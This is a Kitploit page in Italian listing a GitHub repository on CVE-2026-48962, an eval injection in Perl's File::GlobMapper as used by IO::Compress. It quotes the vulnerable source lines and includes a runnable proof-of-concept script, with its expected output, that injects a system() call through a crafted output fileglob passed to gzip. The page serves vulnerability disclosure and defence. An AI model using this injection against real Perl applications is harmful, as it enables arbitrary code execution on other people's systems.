Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - Esecuzione di codice | Kitploit
Strumenti/GitHubGitHub/joakimbulow/cve-2026-48962
Analisi delle VulnerabilitàAnalisi del CodiceExploitPaper e RicercaApprendimento e Formazione
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - Esecuzione di codice

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sommario

Una vulnerabilità di iniezione tramite eval in File::GlobMapper::_getFiles() consente a qualsiasi aggressore che possa controllare l'argomento fileglob di output passato a IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() o qualsiasi funzione affine di eseguire codice Perl arbitrario nel contesto del processo in esecuzione. Non è richiesta alcuna autenticazione. L'impatto è totale: riservatezza, integrità e disponibilità del processo host sono completamente compromesse.


Dettagli

File::GlobMapper::_parseOutputGlob() costruisce un template per il nome del file di output racchiudendo il pattern di output fornito dal chiamante tra doppi apici Perl e salvando il risultato. _getFiles() passa poi quella stringa direttamente a eval senza alcuna sanitizzazione:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper viene invocato automaticamente quando sia l'argomento di input che quello di output di una funzione IO::Compress::* / IO::Uncompress::* sono stringhe fileglob (delimitate da < >). Questa è una convenzione di chiamata documentata e comune. Le funzioni interessate includono gzip, zip, bzip2, deflate, rawdeflate e tutte le controparti IO::Uncompress::*.

Qualsiasi carattere che chiuda la stringa Perl delimitata da doppi apici circostante — un " letterale, un backtick, ${...} o @{...} — seguito da codice Perl arbitrario viene eseguito così com'è.


PoC

Salva come poc.pl ed esegui con perl poc.pl:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

Output atteso:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

Confermato su IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.


Impatto

Questa è una vulnerabilità di esecuzione di codice remoto. Qualsiasi applicazione web, servizio API, strumento CLI o pipeline di elaborazione batch che accetti input utente e lo passi come argomento fileglob di output a qualsiasi funzione IO::Compress::* è vulnerabile. Il codice iniettato viene eseguito con tutti i privilegi del processo chiamante.

Chi è interessato: Sviluppatori e operatori di applicazioni Perl che usano funzioni IO::Compress::* con la convenzione di chiamata fileglob e in cui il pattern di output deriva da input non fidato - come template di nomi file da moduli web, parametri di API REST, argomenti CLI o file di configurazione controllati da utenti senza privilegi.

In contesti setuid o daemon privilegiati, lo sfruttamento produce esecuzione di codice a livello di privilegio elevato. Il bug è presente fin dalla versione iniziale di File::GlobMapper (≈ 2005) ed è presente in ogni distribuzione Linux che include il pacchetto perl.

Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
Scarica lo strumento